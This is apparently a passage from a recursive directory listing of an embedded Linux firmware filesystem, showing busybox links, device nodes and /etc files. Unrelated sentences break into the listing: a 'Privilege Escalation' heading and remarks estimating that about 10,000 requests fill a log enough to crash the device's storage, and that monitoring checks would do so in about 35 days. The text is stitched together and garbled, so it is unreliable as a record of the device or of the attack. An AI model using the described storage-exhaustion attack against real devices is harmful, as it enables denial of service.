lrwxrwxrwx 1 root root    12 Mar  3 03:51 netstat -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 pidof -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ping -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 ps -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 pwd -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 rm -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 rmdir -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 sed -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 sh -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 sleep -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 stty -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 su -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 sync -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 tar -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 touch -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 true -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 umount -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 uname -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 uncompress -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 usleep -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 vi -> /bin/busybox
lrwxrwxrwx 1 root root    12 Mar  3 03:51 zcat -> /bin/busybox


part5/dev:
total 0
crwx------ 1 root root  5,  1 Mar  3 03:37 console
lrwxrwxrwx 1 root root      13 Mar  3 03:51 fd -> /proc/self/fd
crw-r--r-- 1 root root 129,  0 Mar  3 03:37 iogenerator
crw-r--r-- 1 root root 127,  0 Mar  3 03:37 islavista
crw-r--r-- 1 root root  1,  2 Mar  3 03:37 kmem
brw-r--r-- 1 root root  7,  0 Mar  3 03:37 loop0
brw-r--r-- 1 root root  7,  1 Mar  3 03:37 loop1
brw-r--r-- 1 root root  7,  2 Mar  3 03:37 loop2
brw-r--r-- 1 root root  7,  3 Mar  3 03:37 loop3
brw-r--r-- 1 root root  7,  4 Mar  3 03:37 loop4
brw-r--r-- 1 root root  7,  5 Mar  3 03:37 loop5
brw-r--r-- 1 root root  7,  6 Mar  3 03:37 loop6
brw-r--r-- 1 root root  7,  7 Mar  3 03:37 loop7
crw-r--r-- 1 root root  1,  1 Mar  3 03:37 mem
crw-r--r-- 1 root root  90,  0 Mar  3 03:37 mtd0
crw-r--r-- 1 root root  90,  2 Mar  3 03:37 mtd1
crw-r--r-- 1 root root  90,  20 Mar  3 03:37 mtd10
crw-r--r-- 1 root root  90,  22 Mar  3 03:37 mtd11
crw-r--r-- 1 root root  90,  24 Mar  3 03:37 mtd12
crw-r--r-- 1 root root  90,  26 Mar  3 03:37 mtd13
crw-r--r-- 1 root root  90,  28 Mar  3 03:37 mtd14
crw-r--r-- 1 root root  90,  30 Mar  3 03:37 mtd15
crw-r--r-- 1 root root  90,  32 Mar  3 03:37 mtd16
crw-r--r-- 1 root root  90,  34 Mar  3 03:37 mtd17
crw-r--r-- 1 root root  90,  36 Mar  3 03:37 mtd18
crw-r--r-- 1 root root  90,  38 Mar  3 03:37 mtd19
crw-r--r-- 1 root root  90,  4 Mar  3 03:37 mtd2
crw-r--r-- 1 root root  90,  40 Mar  3 03:37 mtd20
crw-r--r-- 1 root root  90,  6 Mar  3 03:37 mtd3
crw-r--r-- 1 root root  90,  8 Mar  3 03:37 mtd4
crw-r--r-- 1 root root  90,  10 Mar  3 03:37 mtd5
crw-r--r-- 1 root root  90,  12 Mar  3 03:37 mtd6
crw-r--r-- 1 root root  90,  14 Mar  3 03:37 mtd7
crw-r--r-- 1 root root  90,  16 Mar  3 03:37 mtd8
crw-r--r-- 1 root root  90,  18 Mar  3 03:37 mtd9
brw-r--r-- 1 root root  31,  0 Mar  3 03:37 mtdblock0
brw-r--r-- 1 root root  31,  1 Mar  3 03:37 mtdblock1
brw-r--r-- 1 root root  31,  10 Mar  3 03:37 mtdblock10
brw-r--r-- 1 root root  31,  11 Mar  3 03:37 mtdblock11
brw-r--r-- 1 root root  31,  12 Mar  3 03:37 mtdblock12
brw-r--r-- 1 root root  31,  13 Mar  3 03:37 mtdblock13
brw-r--r-- 1 root root  31,  14 Mar  3 03:37 mtdblock14
brw-r--r-- 1 root root  31,  15 Mar  3 03:37 mtdblock15
brw-r--r-- 1 root root  31,  16 Mar  3 03:37 mtdblock16
brw-r--r-- 1 root root  31,  17 Mar  3 03:37 mtdblock17
brw-r--r-- 1 root root  31,  18 Mar  3 03:37 mtdblock18
brw-r--r-- 1 root root  31,  19 Mar  3 03:37 mtdblock19
brw-r--r-- 1 root root  31,  2 Mar  3 03:37 mtdblock2
brw-r--r-- 1 root root  31,  20 Mar  3 03:37 mtdblock20
brw-r--r-- 1 root root  31,  3 Mar  3 03:37 mtdblock3
brw-r--r-- 1 root root  31,  4 Mar  3 03:37 mtdblock4
brw-r--r-- 1 root root  31,  5 Mar  3 03:37 mtdblock5
brw-r--r-- 1 root root  31,  6 Mar  3 03:37 mtdblock6
brw-r--r-- 1 root root  31,  7 Mar  3 03:37 mtdblock7
brw-r--r-- 1 root root  31,  8 Mar  3 03:37 mtdblock8
brw-r--r-- 1 root root  31,  9 Mar  3 03:37 mtdblock9
crw-rw-rw- 1 root root  1,  3 Mar  3 03:37 null
crw-rw-rw- 1 root tty    2, 176 Mar  3 03:37 ptya0
crw-rw-rw- 1 root tty    2, 177 Mar  3 03:37 ptya1
crw-rw-rw- 1 root tty    2, 178 Mar  3 03:37 ptya2
crw-rw-rw- 1 root tty    2, 179 Mar  3 03:37 ptya3
crw-rw-rw- 1 root tty    2, 180 Mar  3 03:37 ptya4
crw-rw-rw- 1 root tty    2, 181 Mar  3 03:37 ptya5
crw-rw-rw- 1 root tty    2, 182 Mar  3 03:37 ptya6
crw-rw-rw- 1 root tty    2, 183 Mar  3 03:37 ptya7
crw-rw-rw- 1 root tty    2, 184 Mar  3 03:37 ptya8
crw-rw-rw- 1 root tty    2, 185 Mar  3 03:37 ptya9
crw-rw-rw- 1 root tty    2, 186 Mar  3 03:37 ptyaa
crw-rw-rw- 1 root tty    2, 187 Mar  3 03:37 ptyab
crw-rw-rw- 1 root tty    2, 188 Mar  3 03:37 ptyac
crw-rw-rw- 1 root tty    2, 189 Mar  3 03:37 ptyad
crw-rw-rw- 1 root tty    2, 190 Mar  3 03:37 ptyae
crw-rw-rw- 1 root tty    2, 191 Mar  3 03:37 ptyaf
crw-rw-rw- 1 root tty    2, 192 Mar  3 03:37 ptyb0
crw-rw-rw- 1 root tty    2, 193 Mar  3 03:37 ptyb1
crw-rw-rw- 1 root tty    2, 194 Mar  3 03:37 ptyb2
crw-rw-rw- 1 root tty    2, 195 Mar  3 03:37 ptyb3
crw-rw-rw- 1 root tty    2, 196 Mar  3 03:37 ptyb4
crw-rw-rw- 1 root tty    2, 197 Mar  3 03:37 ptyb5
crw-rw-rw- 1 root tty    2, 198 Mar  3 03:37 ptyb6
crw-rw-rw- 1 root tty    2, 199 Mar  3 03:37 ptyb7
crw-rw-rw- 1 root tty    2, 200 Mar  3 03:37 ptyb8
crw-rw-rw- 1 root tty    2, 201 Mar  3 03:37 ptyb9
crw-rw-rw- 1 root tty    2, 202 Mar  3 03:37 ptyba
crw-rw-rw- 1 root tty    2, 203 Mar  3 03:37 ptybb
crw-rw-rw- 1 root tty    2, 204 Mar  3 03:37 ptybc
crw-rw-rw- 1 root tty    2, 205 Mar  3 03:37 ptybd
crw-rw-rw- 1 root tty    2, 206 Mar  3 03:37 ptybe
crw-rw-rw- 1 root tty    2, 207 Mar  3 03:37 ptybf
crw-rw-rw- 1 root tty    2, 208 Mar  3 03:37 ptyc0
crw-rw-rw- 1 root tty    2, 209 Mar  3 03:37 ptyc1
crw-rw-rw- 1 root tty    2, 210 Mar  3 03:37 ptyc2
crw-rw-rw- 1 root tty    2, 211 Mar  3 03:37 ptyc3
crw-rw-rw- 1 root tty    2, 212 Mar  3 03:37 ptyc4
crw-rw-rw- 1 root tty    2, 213 Mar  3 03:37 ptyc5
crw-rw-rw- 1 root tty    2, 214 Mar  3 03:37 ptyc6
crw-rw-rw- 1 root tty    2, 215 Mar  3 03:37 ptyc7
crw-rw-rw- 1 root tty    2, 216 Mar  3 03:37 ptyc8
crw-rw-rw- 1 root tty    2, 217 Mar  3 03:37 ptyc9
crw-rw-rw- 1 root tty    2, 218 Mar  3 03:37 ptyca
crw-rw-rw- 1 root tty    2, 219 Mar  3 03:37 ptycb
crw-rw-rw- 1 root tty    2, 220 Mar  3 03:37 ptycc
crw-rw-rw- 1 root tty    2, 221 Mar  3 03:37 ptycd
crw-rw-rw- 1 root tty    2, 222 Mar  3 03:37 ptyce
crw-rw-rw- 1 root tty    2, 223 Mar  3 03:37 ptycf
crw-rw-rw- 1 root tty    2, 224 Mar  3 03:37 ptyd0
crw-rw-rw- 1 root tty    2, 225 Mar  3 03:37 ptyd1
crw-rw-rw- 1 root tty    2, 226 Mar  3 03:37 ptyd2
crw-rw-rw- 1 root tty    2, 227 Mar  3 03:37 ptyd3
crw-rw-rw- 1 root tty    2, 228 Mar  3 03:37 ptyd4
crw-rw-rw- 1 root tty    2, 229 Mar  3 03:37 ptyd5
crw-rw-rw- 1 root tty    2, 230 Mar  3 03:37 ptyd6
crw-rw-rw- 1 root tty    2, 231 Mar  3 03:37 ptyd7
crw-rw-rw- 1 root tty    2, 232 Mar  3 03:37 ptyd8
crw-rw-rw- 1 root tty    2, 233 Mar  3 03:37 ptyd9
crw-rw-rw- 1 root tty    2, 234 Mar  3 03:37 ptyda
crw-rw-rw- 1 root tty    2, 235 Mar  3 03:37 ptydb
crw-rw-rw- 1 root tty    2, 236 Mar  3 03:37 ptydc
crw-rw-rw- 1 root tty    2, 237 Mar  3 03:37 ptydd
crw-rw-rw- 1 root tty    2, 238 Mar  3 03:37 ptyde
crw-rw-rw- 1 root tty    2, 239 Mar  3 03:37 ptydf
crw-rw-rw- 1 root tty    2, 240 Mar  3 03:37 ptye0
crw-rw-rw- 1 root tty    2, 241 Mar  3 03:37 ptye1
crw-rw-rw- 1 root tty    2, 242 Mar  3 03:37 ptye2
crw-rw-rw- 1 root tty    2, 243 Mar  3 03:37 ptye3
crw-rw-rw- 1 root tty    2, 244 Mar  3 03:37 ptye4
crw-rw-rw- 1 root tty    2, 245 Mar  3 03:37 ptye5
crw-rw-rw- 1 root tty    2, 246 Mar  3 03:37 ptye6
crw-rw-rw- 1 root tty    2, 247 Mar  3 03:37 ptye7
crw-rw-rw- 1 root tty    2, 248 Mar  3 03:37 ptye8
crw-rw-rw- 1 root tty    2, 249 Mar  3 03:37 ptye9
crw-rw-rw- 1 root tty    2, 250 Mar  3 03:37 ptyea
crw-rw-rw- 1 root tty    2, 251 Mar  3 03:37 ptyeb
crw-rw-rw- 1 root tty    2, 252 Mar  3 03:37 ptyec
crw-rw-rw- 1 root tty    2, 253 Mar  3 03:37 ptyed
crw-rw-rw- 1 root tty    2, 254 Mar  3 03:37 ptyee
crw-rw-rw- 1 root tty    2, 255 Mar  3 03:37 ptyef
crw-rw-rw- 1 root tty    2,  0 Mar  3 03:37 ptyp0
crw-rw-rw- 1 root tty    2,  1 Mar  3 03:37 ptyp1
crw-rw-rw- 1 root tty    2,  2 Mar  3 03:37 ptyp2
crw-rw-rw- 1 root tty    2,  3 Mar  3 03:37 ptyp3
crw-rw-rw- 1 root tty    2,  4 Mar  3 03:37 ptyp4
crw-rw-rw- 1 root tty    2,  5 Mar  3 03:37 ptyp5
crw-rw-rw- 1 root tty    2,  6 Mar  3 03:37 ptyp6
crw-rw-rw- 1 root tty    2,  7 Mar  3 03:37 ptyp7
crw-rw-rw- 1 root tty    2,  8 Mar  3 03:37 ptyp8
crw-rw-rw- 1 root tty    2,  9 Mar  3 03:37 ptyp9
crw-rw-rw- 1 root tty    2,  10 Mar  3 03:37 ptypa
crw-rw-rw- 1 root tty    2,  11 Mar  3 03:37 ptypb
crw-rw-rw- 1 root tty    2,  12 Mar  3 03:37 ptypc
crw-rw-rw- 1 root tty    2,  13 Mar  3 03:37 ptypd
crw-rw-rw- 1 root tty    2,  14 Mar  3 03:37 ptype
crw-rw-rw- 1 root tty    2,  15 Mar  3 03:37 ptypf
crw-rw-rw- 1 root tty    2,  16 Mar  3 03:37 ptyq0
crw-rw-rw- 1 root tty    2,  17 Mar  3 03:37 ptyq1
crw-rw-rw- 1 root tty    2,  18 Mar  3 03:37 ptyq2
crw-rw-rw- 1 root tty    2,  19 Mar  3 03:37 ptyq3
crw-rw-rw- 1 root tty    2,  20 Mar  3 03:37 ptyq4
crw-rw-rw- 1 root tty    2,  21 Mar  3 03:37 ptyq5
crw-rw-rw- 1 root tty    2,  22 Mar  3 03:37 ptyq6
crw-rw-rw- 1 root tty    2,  23 Mar  3 03:37 ptyq7
crw-rw-rw- 1 root tty    2,  24 Mar  3 03:37 ptyq8
crw-rw-rw- 1 root tty    2,  25 Mar  3 03:37 ptyq9
crw-rw-rw- 1 root tty    2,  26 Mar  3 03:37 ptyqa
crw-rw-rw- 1 root tty    2,  27 Mar  3 03:37 ptyqb
crw-rw-rw- 1 root tty    2,  28 Mar  3 03:37 ptyqc
crw-rw-rw- 1 root tty    2,  29 Mar  3 03:37 ptyqd
crw-rw-rw- 1 root tty    2,  30 Mar  3 03:37 ptyqe
crw-rw-rw- 1 root tty    2,  31 Mar  3 03:37 ptyqf
crw-rw-rw- 1 root tty    2,  32 Mar  3 03:37 ptyr0
crw-rw-rw- 1 root tty    2,  33 Mar  3 03:37 ptyr1
crw-rw-rw- 1 root tty    2,  34 Mar  3 03:37 ptyr2
crw-rw-rw- 1 root tty    2,  35 Mar  3 03:37 ptyr3
crw-rw-rw- 1 root tty    2,  36 Mar  3 03:37 ptyr4
crw-rw-rw- 1 root tty    2,  37 Mar  3 03:37 ptyr5
crw-rw-rw- 1 root tty    2,  38 Mar  3 03:37 ptyr6
crw-rw-rw- 1 root tty    2,  39 Mar  3 03:37 ptyr7
crw-rw-rw- 1 root tty    2,  40 Mar  3 03:37 ptyr8
crw-rw-rw- 1 root tty    2,  41 Mar  3 03:37 ptyr9
crw-rw-rw- 1 root tty    2,  42 Mar  3 03:37 ptyra
crw-rw-rw- 1 root tty    2,  43 Mar  3 03:37 ptyrb
crw-rw-rw- 1 root tty    2,  44 Mar  3 03:37 ptyrc
crw-rw-rw- 1 root tty    2,  45 Mar  3 03:37 ptyrd
crw-rw-rw- 1 root tty    2,  46 Mar  3 03:37 ptyre
crw-rw-rw- 1 root tty    2,  47 Mar  3 03:37 ptyrf
crw-rw-rw- 1 root tty    2,  48 Mar  3 03:37 ptys0
crw-rw-rw- 1 root tty    2,  49 Mar  3 03:37 ptys1
crw-rw-rw- 1 root tty    2,  50 Mar  3 03:37 ptys2
crw-rw-rw- 1 root tty    2,  51 Mar  3 03:37 ptys3
crw-rw-rw- 1 root tty    2,  52 Mar  3 03:37 ptys4
crw-rw-rw- 1 root tty    2,  53 Mar  3 03:37 ptys5
crw-rw-rw- 1 root tty    2,  54 Mar  3 03:37 ptys6
crw-rw-rw- 1 root tty    2,  55 Mar  3 03:37 ptys7
crw-rw-rw- 1 root tty    2,  56 Mar  3 03:37 ptys8
crw-rw-rw- 1 root tty    2,  57 Mar  3 03:37 ptys9
crw-rw-rw- 1 root tty    2,  58 Mar  3 03:37 ptysa
crw-rw-rw- 1 root tty    2,  59 Mar  3 03:37 ptysb
crw-rw-rw- 1 root tty    2,  60 Mar  3 03:37 ptysc
crw-rw-rw- 1 root tty    2,  61 Mar  3 03:37 ptysd
crw-rw-rw- 1 root tty    2,  62 Mar  3 03:37 ptyse
crw-rw-rw- 1 root tty    2,  63 Mar  3 03:37 ptysf
crw-rw-rw- 1 root tty    2,  64 Mar  3 03:37 ptyt0
crw-rw-rw- 1 root tty    2,  65 Mar  3 03:37 ptyt1
crw-rw-rw- 1 root tty    2,  66 Mar  3 03:37 ptyt2
crw-rw-rw- 1 root tty    2,  67 Mar  3 03:37 ptyt3
crw-rw-rw- 1 root tty    2,  68 Mar  3 03:37 ptyt4
crw-rw-rw- 1 root tty    2,  69 Mar  3 03:37 ptyt5
crw-rw-rw- 1 root tty    2,  70 Mar  3 03:37 ptyt6
crw-rw-rw- 1 root tty    2,  71 Mar  3 03:37 ptyt7
crw-rw-rw- 1 root tty    2,  72 Mar  3 03:37 ptyt8
crw-rw-rw- 1 root tty    2,  73 Mar  3 03:37 ptyt9
crw-rw-rw- 1 root tty    2,  74 Mar  3 03:37 ptyta
crw-rw-rw- 1 root tty    2,  75 Mar  3 03:37 ptytb
crw-rw-rw- 1 root tty    2,  76 Mar  3 03:37 ptytc
crw-rw-rw- 1 root tty    2,  77 Mar  3 03:37 ptytd
crw-rw-rw- 1 root tty    2,  78 Mar  3 03:37 ptyte
crw-rw-rw- 1 root tty    2,  79 Mar  3 03:37 ptytf
crw-rw-rw- 1 root tty    2,  80 Mar  3 03:37 ptyu0
crw-rw-rw- 1 root tty    2,  81 Mar  3 03:37 ptyu1
crw-rw-rw- 1 root tty    2,  82 Mar  3 03:37 ptyu2
crw-rw-rw- 1 root tty    2,  83 Mar  3 03:37 ptyu3
crw-rw-rw- 1 root tty    2,  84 Mar  3 03:37 ptyu4
crw-rw-rw- 1 root tty    2,  85 Mar  3 03:37 ptyu5
crw-rw-rw- 1 root tty    2,  86 Mar  3 03:37 ptyu6
crw-rw-rw- 1 root tty    2,  87 Mar  3 03:37 ptyu7
crw-rw-rw- 1 root tty    2,  88 Mar  3 03:37 ptyu8
crw-rw-rw- 1 root tty    2,  89 Mar  3 03:37 ptyu9
crw-rw-rw- 1 root tty    2,  90 Mar  3 03:37 ptyua
crw-rw-rw- 1 root tty    2,  91 Mar  3 03:37 ptyub
crw-rw-rw- 1 root tty    2,  92 Mar  3 03:37 ptyuc
crw-rw-rw- 1 root tty    2,  93 Mar  3 03:37 ptyud
crw-rw-rw- 1 root tty    2,  94 Mar  3 03:37 ptyue
crw-rw-rw- 1 root tty    2,  95 Mar  3 03:37 ptyuf
crw-rw-rw- 1 root tty    2,  96 Mar  3 03:37 ptyv0
crw-rw-rw- 1 root tty    2,  97 Mar  3 03:37 ptyv1
crw-rw-rw- 1 root tty    2,  98 Mar  3 03:37 ptyv2
crw-rw-rw- 1 root tty    2,  99 Mar  3 03:37 ptyv3
crw-rw-rw- 1 root tty    2, 100 Mar  3 03:37 ptyv4
crw-rw-rw- 1 root tty    2, 101 Mar  3 03:37 ptyv5
crw-rw-rw- 1 root tty    2, 102 Mar  3 03:37 ptyv6
crw-rw-rw- 1 root tty    2, 103 Mar  3 03:37 ptyv7
crw-rw-rw- 1 root tty    2, 104 Mar  3 03:37 ptyv8
crw-rw-rw- 1 root tty    2, 105 Mar  3 03:37 ptyv9
crw-rw-rw- 1 root tty    2, 106 Mar  3 03:37 ptyva
crw-rw-rw- 1 root tty    2, 107 Mar  3 03:37 ptyvb
crw-rw-rw- 1 root tty    2, 108 Mar  3 03:37 ptyvc
crw-rw-rw- 1 root tty    2, 109 Mar  3 03:37 ptyvd
crw-rw-rw- 1 root tty    2, 110 Mar  3 03:37 ptyve
crw-rw-rw- 1 root tty    2, 111 Mar  3 03:37 ptyvf
crw-rw-rw- 1 root tty    2, 112 Mar  3 03:37 ptyw0
crw-rw-rw- 1 root tty    2, 113 Mar  3 03:37 ptyw1
crw-rw-rw- 1 root tty    2, 114 Mar  3 03:37 ptyw2
crw-rw-rw- 1 root tty    2, 115 Mar  3 03:37 ptyw3
crw-rw-rw- 1 root tty    2, 116 Mar  3 03:37 ptyw4
crw-rw-rw- 1 root tty    2, 117 Mar  3 03:37 ptyw5
crw-rw-rw- 1 root tty    2, 118 Mar  3 03:37 ptyw6
crw-rw-rw- 1 root tty    2, 119 Mar  3 03:37 ptyw7
crw-rw-rw- 1 root tty    2, 120 Mar  3 03:37 ptyw8
crw-rw-rw- 1 root tty    2, 121 Mar  3 03:37 ptyw9
crw-rw-rw- 1 root tty    2, 122 Mar  3 03:37 ptywa
crw-rw-rw- 1 root tty    2, 123 Mar  3 03:37 ptywb
crw-rw-rw- 1 root tty    2, 124 Mar  3 03:37 ptywc
crw-rw-rw- 1 root tty    2, 125 Mar  3 03:37 ptywd
crw-rw-rw- 1 root tty    2, 126 Mar  3 03:37 ptywe
crw-rw-rw- 1 root tty    2, 127 Mar  3 03:37 ptywf
crw-rw-rw- 1 root tty    2, 128 Mar  3 03:37 ptyx0
crw-rw-rw- 1 root tty    2, 129 Mar  3 03:37 ptyx1
crw-rw-rw- 1 root tty    2, 130 Mar  3 03:37 ptyx2
crw-rw-rw- 1 root tty    2, 131 Mar  3 03:37 ptyx3
crw-rw-rw- 1 root tty    2, 132 Mar  3 03:37 ptyx4
crw-rw-rw- 1 root tty    2, 133 Mar  3 03:37 ptyx5
crw-rw-rw- 1 root tty    2, 134 Mar  3 03:37 ptyx6
crw-rw-rw- 1 root tty    2, 135 Mar  3 03:37 ptyx7
crw-rw-rw- 1 root tty    2, 136 Mar  3 03:37 ptyx8
crw-rw-rw- 1 root tty    2, 137 Mar  3 03:37 ptyx9
crw-rw-rw- 1 root tty    2, 138 Mar  3 03:37 ptyxa
crw-rw-rw- 1 root tty    2, 139 Mar  3 03:37 ptyxb
crw-rw-rw- 1 root tty    2, 140 Mar  3 03:37 ptyxc
crw-rw-rw- 1 root tty    2, 141 Mar  3 03:37 ptyxd
crw-rw-rw- 1 root tty    2, 142 Mar  3 03:37 ptyxe
crw-rw-rw- 1 root tty    2, 143 Mar  3 03:37 ptyxf
crw-rw-rw- 1 root tty    2, 144 Mar  3 03:37 ptyy0
crw-rw-rw- 1 root tty    2, 145 Mar  3 03:37 ptyy1
crw-rw-rw- 1 root tty    2, 146 Mar  3 03:37 ptyy2
crw-rw-rw- 1 root tty    2, 147 Mar  3 03:37 ptyy3
crw-rw-rw- 1 root tty    2, 148 Mar  3 03:37 ptyy4
crw-rw-rw- 1 root tty    2, 149 Mar  3 03:37 ptyy5
crw-rw-rw- 1 root tty    2, 150 Mar  3 03:37 ptyy6
crw-rw-rw- 1 root tty    2, 151 Mar  3 03:37 ptyy7
crw-rw-rw- 1 root tty    2, 152 Mar  3 03:37 ptyy8
crw-rw-rw- 1 root tty    2, 153 Mar  3 03:37 ptyy9
crw-rw-rw- 1 root tty    2, 154 Mar  3 03:37 ptyya
crw-rw-rw- 1 root tty    2, 155 Mar  3 03:37 ptyyb
crw-rw-rw- 1 root tty    2, 156 Mar  3 03:37 ptyyc
crw-rw-rw- 1 root tty    2, 157 Mar  3 03:37 ptyyd
crw-rw-rw- 1 root tty    2, 158 Mar  3 03:37 ptyye
crw-rw-rw- 1 root tty    2, 159 Mar  3 03:37 ptyyf
crw-rw-rw- 1 root tty    2, 160 Mar  3 03:37 ptyz0
crw-rw-rw- 1 root tty    2, 161 Mar  3 03:37 ptyz1
crw-rw-rw- 1 root tty    2, 162 Mar  3 03:37 ptyz2
crw-rw-rw- 1 root tty    2, 163 Mar  3 03:37 ptyz3
crw-rw-rw- 1 root tty    2, 164 Mar  3 03:37 ptyz4
crw-rw-rw- 1 root tty    2, 165 Mar  3 03:37 ptyz5
crw-rw-rw- 1 root tty    2, 166 Mar  3 03:37 ptyz6
crw-rw-rw- 1 root tty    2, 167 Mar  3 03:37 ptyz7
crw-rw-rw- 1 root tty    2, 168 Mar  3 03:37 ptyz8
crw-rw-rw- 1 root tty    2, 169 Mar  3 03:37 ptyz9
crw-rw-rw- 1 root tty    2, 170 Mar  3 03:37 ptyza
crw-rw-rw- 1 root tty    2, 171 Mar  3 03:37 ptyzb
crw-rw-rw- 1 root tty    2, 172 Mar  3 03:37 ptyzc
crw-rw-rw- 1 root tty    2, 173 Mar  3 03:37 ptyzd
crw-rw-rw- 1 root tty    2, 174 Mar  3 03:37 ptyze
crw-rw-rw- 1 root tty    2, 175 Mar  3 03:37 ptyzf
brw-r--r-- 1 root root  1,  0 Mar  3 03:37 ram0
brw-r--r-- 1 root root  1,  1 Mar  3 03:37 ram1
brw-r--r-- 1 root root  1,  10 Mar  3 03:37 ram10
brw-r--r-- 1 root root  1,  11 Mar  3 03:37 ram11
brw-r--r-- 1 root root  1,  12 Mar  3 03:37 ram12
brw-r--r-- 1 root root  1,  13 Mar  3 03:37 ram13
brw-r--r-- 1 root root  1,  14 Mar  3 03:37 ram14
brw-r--r-- 1 root root  1,  15 Mar  3 03:37 ram15
brw-r--r-- 1 root root  1,  16 Mar  3 03:37 ram16
brw-r--r-- 1 root root  1,  17 Mar  3 03:37 ram17
brw-r--r-- 1 root root  1,  18 Mar  3 03:37 ram18
brw-r--r-- 1 root root  1,  19 Mar  3 03:37 ram19
brw-r--r-- 1 root root  1,  2 Mar  3 03:37 ram2
brw-r--r-- 1 root root  1,  3 Mar  3 03:37 ram3
brw-r--r-- 1 root root  1,  4 Mar  3 03:37 ram4
brw-r--r-- 1 root root  1,  5 Mar  3 03:37 ram5
brw-r--r-- 1 root root  1,  6 Mar  3 03:37 ram6
brw-r--r-- 1 root root  1,  7 Mar  3 03:37 ram7
brw-r--r-- 1 root root  1,  8 Mar  3 03:37 ram8
brw-r--r-- 1 root root  1,  9 Mar  3 03:37 ram9
crw-r--r-- 1 root root  1,  8 Mar  3 03:37 random
crw-r--r-- 1 root root 127,  1 Mar  3 03:37 sep
lrwxrwxrwx 1 root root        4 Mar  3 03:51 stderr -> fd/0
lrwxrwxrwx 1 root root        4 Mar  3 03:51 stdin -> fd/1
lrwxrwxrwx 1 root root        4 Mar  3 03:51 stdout -> fd/2
crw-rw-rw- 1 root root  5,  0 Mar  3 03:37 tty
crw-rw-rw- 1 root tty    4,  0 Mar  3 03:37 tty0
crw-rw-rw- 1 root tty    4,  1 Mar  3 03:37 tty1
crw-rw-rw- 1 root tty    3,  0 Mar  3 03:37 ttyp0
crw-rw-rw- 1 root tty    3,  1 Mar  3 03:37 ttyp1
crw-rw-rw- 1 root tty    3,  2 Mar  3 03:37 ttyp2
crw-rw-rw- 1 root tty    3,  3 Mar  3 03:37 ttyp3
crw-rw-rw- 1 root tty    3,  4 Mar  3 03:37 ttyp4
crw-rw-rw- 1 root tty    3,  5 Mar  3 03:37 ttyp5
crw-rw-rw- 1 root tty    3,  6 Mar  3 03:37 ttyp6
crw-rw-rw- 1 root tty    3,  7 Mar  3 03:37 ttyp7
crw-rw-rw- 1 root tty    3,  8 Mar  3 03:37 ttyp8
crw-rw-rw- 1 root tty    3,  9 Mar  3 03:37 ttyp9
crw-rw-rw- 1 root tty    3,  10 Mar  3 03:37 ttypa
crw-rw-rw- 1 root tty    3,  11 Mar  3 03:37 ttypb
crw-rw-rw- 1 root tty    3,  12 Mar  3 03:37 ttypc
crw-rw-rw- 1 root tty    3,  13 Mar  3 03:37 ttypd
crw-rw-rw- 1 root tty    3,  14 Mar  3 03:37 ttype
crw-rw-rw- 1 root tty    3,  15 Mar  3 03:37 ttypf
crw-r--r-- 1 root root  4,  64 Mar  3 03:37 ttyS0
crw-r--r-- 1 root root  4,  65 Mar  3 03:37 ttyS1
crw-r--r-- 1 root root  1,  9 Mar  3 03:37 urandom


part5/etc:
total 12
lrwxrwxrwx  1 root root  10 Mar  3 03:51 fstab -> fstab_16mb
-rw-r--r--  1 root root  396 Nov 23  2004 fstab_16mb
-rw-r--r--  1 root root  317 Oct  4  2003 fstab_8mb
-rw-r--r--  1 root root  283 Sep 15  2003 group
-rw-r--r--  1 root root  50 Aug 29  2003 hosts
lrwxrwxrwx  1 root root  11 Mar  3 03:51 init.d -> rc.d/init.d
-rw-r--r--  1 root root    0 Aug 29  2003 modules
-rw-r--r--  1 root root    0 Aug 29  2003 motd
-rw-r--r--  1 root root    0 Aug 29  2003 mtab
-rw-r--r--  1 root root  68 Aug 29  2003 passwd
-rw-r--r--  1 root root  847 May 26  2005 profile
drwxr-xr-x 11 root root 1024 Jun  3  2004 rc.d
lrwxrwxrwx  1 root root  18 Mar  3 03:51 resolv.conf -> udhcpc/resolv.conf
-rw-r--r--  1 root root 1323 Aug 29  2003 services
-rw-r--r--  1 root root  87 Aug 29  2003 shadow
drwxr-xr-x  4 root root 1024 Jun  3  2004 sysconfig
drwxr-xr-x  3 root root 1024 Jun  3  2004 udhcpc


part5/etc/rc.d:
=== Privilege Escalation ===
total 10
The 3 lines per request equal 354 Bytes of text, and my storage crashed when the logfile was roughly 3.5 MB in size, so in theory ~10.000 requests are all that's needed for this exploit to work its magic.
drwxr-xr-x 2 root root 1024 Jun  3 2004 CVS
drwxr-xr-x 2 root root 1024 Oct  9  2003 init.d
-rwxr-xr-x 1 root root  65 Aug 29  2003 rc
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc0.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc1.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc2.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc3.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc4.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc5.d
drwxr-xr-x 2 root root 1024 Aug 29  2003 rc6.d


part5/etc/rc.d/CVS:
Nagios checks every 5 minutes, that's 288 requests per day, which means that after ~35 days the log should have filled all available space.
total 3
-rw-r--r-- 1 root root  2 Jun  3  2004 Entries
-rw-r--r-- 1 root root 39 Jun  3  2004 Repository
